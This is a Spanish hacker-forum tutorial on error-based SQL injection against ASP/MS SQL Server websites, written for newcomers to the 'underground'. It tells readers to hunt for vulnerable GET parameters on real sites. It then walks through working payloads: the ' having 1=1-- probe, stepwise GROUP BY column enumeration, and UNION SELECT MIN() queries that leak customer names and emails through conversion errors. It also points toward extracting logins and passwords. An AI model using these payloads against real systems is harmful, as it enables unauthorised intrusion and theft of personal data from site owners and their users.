SQL Injection: Introducción al método del error

Por Vengador de las Sombras

0x00 Prefacio

El objetivo de este documento (sé que hay varios rulando por internet mucho mejores que éste, pero quería aportar mi granito de arena) es iniciarse en las inyecciones SQL a través de variables de tipo GET. La idea me ha surgido al empezar a introducir a Plaga al divertido mundo de las vulnerabilidad es.

Tras leerse y aprender lo que se va a exponer en este pequeño tutorial/manual podreis manejaros un poco más en el uso de las SQL Injection, una vulnerabilidad que cada día se extiende más. Nosotros nos vamos a basar en usar el método de ir probando y obteniendo errores, de los cuales sacaremos información jugosa.

Baste decir que no encontrareis en este tutorial ninguna "inyección" mágica, ni nada de hacer aprovecharse en hacer defacing, únicamente vamos a estudiar cómo sacar información (esta información puede ser por ejemplo números de telefono, contraseñas y usuarios, etc). Es más, para que realmetne veais que no va a ser un tutorial de "Hackea una web con SQL injection en 5 pasos" la info que vamos a sacar va a ser los correos asociados a unos usuarios.

0x01 Primeros pasos: Sacando la tabla

Bien, para empezar necesitamos encontrar alguna web que potencialmente pudiera (no lo sabemos todavía) tener algún script del tipo "noticias.asp?ID=", "artículos.php?view=" vulnerable. Como comentó WaesWaes en una ocasión "Si ves ASP piensa en SQL", y bien es cierto que son bastante propensas a estos ataques, supongo que será por culpa de los WebMasters....

Consejo: *Como ya le comenté en privado a Plaga, es recomendable tener un block de notas abierto para ir escribiendo los resultados de las inyecciones, ya que a la hora de construir PoC o trabajar con la info extraida, viene bastante bien tener todo organizado* 

Como iba diciendo al inicio, la inyección la introducimos en variables de tipo GET. ¿Qué son estas variables? Resumiendo muy mucho (no me pegueis por ello XD) podemos decir que son aquellas variables que se introducen a través de la URL.

Vamos a utilizar un ejemplo imaginario. Estamos viendo una web, y nos encontramos con un link tipo "
Para ver este enlace Registrate o Inicia Sesion
www.paginafals a.com/index.asp?profile=47
". Para comprobar si es vulnerable comenzamos por poner'. Con ' indicamos la finalización de una sentencia SQL. Nuestro código malicioso será **' having 1=1--**. El "--" sirve para que sean ignoradas todas las sentecias que venga detrás, equivale al "#" en perl o al //, /*, etc de otros lenguajes. En el caso del ejemplo imaginario, nos debería de "vomitar" la web un error del estilo de:

Citar
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'

[Microsoft][ODBC SQL Server Driver][SQL Server]La columna 'Datos.Id' de la lista de selección no es válida, porque no está contenida en una función de agregado y no hay cláusula GROUP BY.

D:\WADHOO01\T15\../sistema/include0.asp, línea 4

WTF?!?!!?!? Que coño es eso???. Bien no os alarmais, de aquí lo único que nos interesa es **Datos.Id**. "Datos" es el nombre de la tabla en la que estamos operando, y "Id" es el nombre del campo. Sería aconsejable hechar un pequeño vistazo a algún manual de manejo de DBs para comprender su estructura. En estos campos será donde se encuentre contenida la información que maneja la DB de la web que estamos "atacando". Ahora imprescindible agarrar el notepad (Yo usaré el que me hizo Mace Windu :lool:) y ponen "NOMBRE TABLA: Datos" y despues en otra línea "Campos: 1º Id".

Le ponesmos "1º" porque los campos se encuentran ordenados dentro de la DB y éste orden es imprescindible a la hora de construir las sentencias.

0x02 Sacando los campos de la tabla

Ahora si recopilamos la información que deberíamos de tener en nuestro notepad, podemos ver que ya tenemos el nombre de la tabla (Datos) y el primero campo (Id). Pero bien, ahora necesitamos sacar el resto de campos que componen la tabla Datos. ¿Para qué? Pues para conocer la estructura sobre la que estamos trabajando, ya que posteriores inyecciones necesitarán basarse en la info que vayamos obteniendo, a parte, el nombre de los campos nos darán una pista sobre donde puede haber la información que andamos buscando (una tabla que se llame passwords, tiene un altísimo, de un 98%, de que contenga passwords, y si encima hay otra columna con users, el trabajo lo tienes servido).

Para poder ir sacando los campos en orden, nos valdremos de la siguiente inyección:
' GROUP BY Tabla.1º campo having 1=1--

Cambiando los datos en amarillo por los de nuestro caso. En nuestro ejemplo, la inyección se montaría así:

' GROUP BY Datos.Id having 1=1--

¿y qué es lo que nos vomita la web?

Citar
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'

[Microsoft][ODBC SQL Server Driver][SQL Server]La columna 'Datos.clientes' de la lista de selección no es válida, porque no está contenida en una función de agregado ni en la cláusula GROUP BY.

D:\WADHOO01\T15\../sistema/include0.asp, línea 4

Bien, ya tenemos el 2º campo: "clientes". Pero, ¿como seguimos extrayendo información? Añadiendo mediante una "," el nuevo campo descubierto, así la inyección nos dará el siguiente campo, quedando algo así:

' GROUP BY Datos.Id,clientes having 1=1--

Y ahora nos devuelve la web:
Citar
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'

[Microsoft][ODBC SQL Server Driver][SQL Server]La columna 'Datos.correo' de la lista de selección no es válida, porque no está contenida en una función de agregado ni en la cláusula GROUP BY.

D:\WADHOO01\T15\../sistema/include0.asp, línea 4

Bien, lo mismo de antes, pero con el tercer campo, "correo". No hace falta deciros que toda esta info de los campos debe de ser guardada en nuestro notepad.

Ahora, tenemos que ir poniendo la misma inyección, únicamente con la adición de una nueva "," y del campo qeu descubrimos hasta que nos salga algo tipo:
Citar
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'

[Microsoft][ODBC SQL Server Driver][SQL Server]El prefijo de columna 'Datos' no coincide con un nombre de tabla o con un alias usado en la consulta.

D:\WADHOO01\T15\../sistema/include0.asp, línea 24

Esto es el indicativo de que ya no hay más campos, por lo tanto ya sabemos que: la tabla se llama "Datos", tiene tres campos que son Id, clientes y correo. En nuestro caso, como ya les comenté al inicio del tutorial, vamos a trabajar con los campos clientes y correo.

0x03 Mostrando el contenido de los campos

Ya tenemos los campos que nos hacían falta y que contiene la informacion que andabamos buscando, pero ahora nos hace falta "ver" esa información. Ahora es cuando entra en juego el uso de sentencias ' UNION SELECT. Para poder usarlo, necesitaremos facilitar el mismo número de campos que tiene la tabla, para ello usaremos "1".

Lo que haremos será primero encontrar un valor en el campo "clientes" y después encontrar su correo correspondient e. Para ello nos deberemos de basar en la ingerinieria social, yo por ejemplo voy a buscar el primer nombre que empiece por J. Entonces monto la inyección de esta forma:

' UNION SELECT MIN(Campo),1,1,1/* tantos "1" como campos */ FROM Tabla WHERE campo > 'j'--

Con esto nos devolverá el primer nombre que empiece por "j". El error que nos devuelve el contenido es devido a que la variable está cofigurada como de tipo "varchar" y al ser una letra con lo que operamos, la función "min()" sufre un error de sintaxis. Mi inyeccion es esta:

' UNION SELECT MIN(clientes),1,1 FROM Datos WHERE cleintes > 'j'--

Y me devuelve la web:
Citar
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft] [ODBC SQL Server Driver] [SQL Server]Error de Sintaxis al convertir el valor varchar "Juanito" a una columna de datos tipo int.

D:\WADHOO01\T15\../sistema/include0.asp, línea 24

JOOJOOJOJO hay un cliente que se llama Juanito jejejeje. Veamos su correo:

' UNION SELECT MIN(correo),1,1 FROM Datos WHERE clientes = 'Juanito'--

Y el resultado es...

Citar
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft] [ODBC SQL Server Driver] [SQL Server]Error de Sintaxis al convertir el valor varchar " he@ArgeniversoHAck.com">Juanito_de_noc he@ArgeniversoHAck.com" a una columna de datos tipo int.

D:\WADHOO01\T15\../sistema/include0.asp, línea 24

Pues ya tenemos nuestros datos el cliente "juanito" tiene un correo que es he@ArgeniversoHAck.com">Juanito_de_noc he@ArgeniversoHAck.com. Ahora transporatar estos conocimientos a un login, con user y password .

0x04 Conclusión

Espero que este tutorial corto haya sido ameno y entendible, y que os sea de utilidad. El mundo de las inyecciones SQL es muy amplio, de hecho se puede defacear directamente, actualizando tablas con la sentencia "update", tambien se pueden subir shells, ejecutar comandos, etc... pero el objetivo de este documento era meramente introducir a los NWs al uso de las inyecciones SQL y que no caigan en tendecias lammers y de script kiddies como inyectar una inyeccion predefinida que ha descubierto otra persona.

Cualquier error o comentario acerca del manual, posteadlo.

0x05 Gr3tZ

Agradecimiento s al mariquita de Lutscher (grandísimo colega, tambien a han, WaesWaes, RGB90, Mace Windu, chipbios, Knet, Syndr0me, Phonix, CRH0N05, NOX y usuarios de ArgeniversoHac k y Remote Execution.

Especial greetz para Plaga, al que considero casi como mi hermano en el under. El manual originalmente iba a ser para el, pero bueno, lo libero para todos XD.

Byt3z